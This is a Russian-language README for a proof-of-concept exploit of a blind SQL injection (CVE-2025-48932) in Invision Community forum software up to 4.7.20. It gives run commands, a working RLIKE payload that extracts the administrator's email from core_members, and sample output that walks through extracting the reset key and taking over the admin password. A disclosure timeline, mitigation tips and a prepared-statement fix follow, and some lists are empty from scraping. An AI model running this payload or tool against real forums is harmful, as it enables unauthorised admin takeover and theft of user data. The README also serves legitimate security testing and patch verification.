
Эксплойт с доказательством концепции, демонстрирующий уязвимость SQL-инъекции в Invision Community версий <= 4.7.20.
Данный инструмент предоставляется ТОЛЬКО для образовательных целей и авторизованного тестирования безопасности.
CVE ID: CVE-2025-48932
Серьёзность: Высокая
Оценка CVSS: TBD
Затронутые версии: Invision Community 4.x до версии 4.7.21
Уязвимость существует в скрипте /applications/calendar/modules/front/calendar/view.php. Пользовательский ввод, передаваемый через параметр запроса location в методе IPS\calendar\modules\front\calendar\view::search(), не фильтруется должным образом перед использованием в SQL-запросах.
Это позволяет удалённым неаутентифицированным злоумышленникам:
Условия эксплуатации:
Примечание: Хотя SQL-инъекции в Invision Community 4.x версий < 4.7.18 могли приводить к захвату учётных записей администратора и удалённому выполнению кода (RCE) путём сброса пароля администратора, версия 4.7.18 ввела новый ключ шифрования в механизм сброса пароля, что усложнило этот вектор атаки.
Клонируйте репозиторий:
git clone https://github.com/yourusername/invision-sqli-exploit.git
cd invision-sqli-exploit
Установите зависимости:
pip install -r requirements.txt
python invision-sqli-exploit.py -u http://target.com/forum/
python invision-sqli-exploit.py -u https://example.com/community/ -v
==================================================
Эксплойт SQL-инъекции в Invision Community <= 4.7.20
CVE-2025-48932
==================================================
Цель: http://example.com/forum/
==================================================
[*] Получение CSRF-токена...
[+] CSRF-токен найден: abc123def456...
[*] Шаг 1: Извлечение email-адреса администратора...
[*] Извлечение данных: [email protected]
[+] Email администратора: [email protected]
[!] Шаг 2: Требуется ручное действие!
Пожалуйста, выполните следующие шаги:
1. Перейдите по адресу: http://example.com/forum/index.php?/lostpassword/
2. Запросите сброс пароля, используя email: [email protected]
3. Нажмите ENTER, когда закончите...
[*] Шаг 3: Извлечение ключа проверки сброса пароля...
[*] Извлечение данных: xyz789abc123...
[+] Ключ сброса: xyz789abc123...
[*] Шаг 4: Сброс пароля администратора...
==================================================
[+] ЭКСПЛУАТАЦИЯ УСПЕШНА!
==================================================
Учётные данные администратора:
Email: [email protected]
Пароль: Pwned1721234567
Теперь вы можете войти по адресу: http://example.com/forum/index.php?/login/
Эксплойт работает в четыре основных этапа:
Скрипт сначала получает CSRF-токен с целевого сайта, который необходим для последующих запросов.
Используя алгоритм бинарного поиска, эксплойт извлекает данные из базы данных посимвольно:
RLIKE с шаблонами regex для определения условий true/falseЗапрашивает таблицу core_members для извлечения email-адреса администратора.
Точка инъекции:
parameter location → calendar/view.php → метод search()
Пример полезной нагрузки:
'))OR(SELECT 1 RLIKE(IF(ORD(SUBSTR((SELECT email FROM core_members WHERE member_id=1),1,1))<128,0x28,0x31)))#
Метод эксплуатации: Булева слепая SQL-инъекция с использованием бинарного поиска для эффективного извлечения данных.
Немедленные действия:
Практики безопасного программирования:
Пример безопасного кода:
// Уязвимый код
$location = $_REQUEST['location'];
$query = "SELECT * FROM events WHERE location = '$location'";
// Безопасный код
$location = $_REQUEST['location'];
$query = $db->prepare("SELECT * FROM events WHERE location = ?");
$query->execute([$location]);
| Дата | Событие |
|---|---|
| 16 мая 2025 г. | Уведомление вендора |
| 27 мая 2025 г. | Выпуск версии 4.7.21 |
| 28 мая 2025 г. |
Разработчик:
Примечание: Это независимая реализация, основанная на публично раскрытой информации об уязвимости (CVE-2025-48932)
Этот проект лицензирован по лицензии MIT — подробнее см. в файле LICENSE.
Вклад приветствуется! Пожалуйста, не стесняйтесь отправлять pull request. Для значительных изменений сначала откройте issue, чтобы обсудить, что вы хотели бы изменить.
Этот инструмент распространяется под лицензией MIT. Используя данное программное обеспечение, вы соглашаетесь:
Помните: Несанкционированный доступ к компьютерным системам является преступлением в большинстве юрисдикций и может повлечь серьёзные правовые последствия.
Если вы обнаружили уязвимость в безопасности, пожалуйста, ответственно сообщите о ней вендору до её публичного раскрытия.
| Аргумент | Описание | Обязательный |
|---|
-u, --url | Базовый URL целевой Invision Community | Да |
-v, --verbose | Включить подробный вывод для отладки | Нет |
-h, --help | Показать справку и выйти | Нет |
| Запрошен CVE-идентификатор |
| 28 мая 2025 г. | Назначен CVE-2025-48932 |
| 23 июля 2025 г. | Публичное раскрытие |